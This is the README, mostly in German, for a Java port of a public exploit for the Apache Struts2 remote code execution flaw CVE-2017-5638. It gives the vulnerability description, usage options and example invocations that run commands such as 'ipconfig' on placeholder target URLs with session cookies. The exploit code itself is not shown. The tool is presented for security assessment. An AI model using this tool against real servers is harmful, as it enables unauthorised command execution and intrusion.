struts2_cve-2017-5638

Dies ist eine Art Java-Portierung des Python-Exploits unter: https://www.exploit-db.com/exploits/41570/.

Diese Software wurde ohne externe Abhängigkeiten geschrieben.

HAFTUNGSAUSSCHLUSS

Dieses Tool ist für Sicherheitsingenieure und AppSec-Leute für Sicherheitsbewertungen gedacht. Bitte verwenden Sie dieses Tool verantwortungsbewusst. Ich übernehme keine Verantwortung für die Art und Weise, wie jemand diese Anwendung nutzt. Ich bin NICHT verantwortlich für Schäden, die durch die Nutzung dieses Tools verursacht werden, oder für Straftaten, die damit begangen werden.

Schwachstelleninformationen

• CVE-ID: CVE-2017-5638
• Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
• Beschreibung: Der Jakarta Multipart-Parser in Apache Struts 2 2.3.x vor 2.3.32 und 2.5.x vor 2.5.10.1 weist eine fehlerhafte Ausnahmebehandlung und Fehlermeldungserzeugung bei Datei-Upload-Versuchen auf, was es Angreifern ermöglicht, beliebige Befehle über einen manipulierten Content-Type, Content-Disposition oder Content-Length HTTP-Header auszuführen, wie im März 2017 in freier Wildbahn mit einem Content-Type-Header, der eine #cmd=-Zeichenfolge enthält, ausgenutzt.

Hilfe

Usage:
   java -jar struts2_cve-2017-5638.jar [options]
Description:
   Exploiting Apache Struts2 Remote Code Execution (CVE-2017-5638).
Options:
   -h, --help
      Prints this help and exits.
   -u, --url [target_URL]
      The target URL where the exploit will be performed.
   -cmd, --command [command_to_execute]
      The command that will be executed on the remote machine.
   --cookies [cookies]
      Optional. Cookies passed into the request, i.e. authentication cookies.
   -v, --verbose
      Optional. Increase verbosity.

Beispiele

java -jar struts2_cve-2017-5638.jar --url "https://vuln1.foo.com/asd" --command ipconfig

java -jar struts2_cve-2017-5638.jar --url "https://vuln2.foo.com/asd" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"

java -jar struts2_cve-2017-5638.jar --url "https://vuln3.foo.com/asd" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"

Autoren

• Antonio Francesco Sardella - Java-Portierung - m3ssap0

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe Datei LICENSE.txt für Details.

Danksagungen

• Vex Woo für den ursprünglichen Python-Exploit.